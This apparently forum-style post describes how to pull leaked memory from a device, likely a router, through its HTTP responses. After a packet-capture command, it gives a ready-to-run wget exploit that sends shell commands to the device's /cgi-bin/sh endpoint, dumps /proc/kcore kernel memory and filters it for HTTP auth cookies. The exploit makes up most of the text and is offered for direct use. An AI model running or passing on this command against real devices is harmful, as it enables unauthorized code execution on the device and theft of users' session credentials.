Firefox user: You have to tcpdump your interface to see the memory in the incoming HTTP packets:
    sudo tcpdump -n -s0 -X -i eth0 # (or -i wlan0)

Or:

Manual exploit with wget which allows to grab HTTP auth cookies:

wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;cat /proc/kcore;" http://192.168.1.1/cgi-bin/sh | strings | grep -i cooki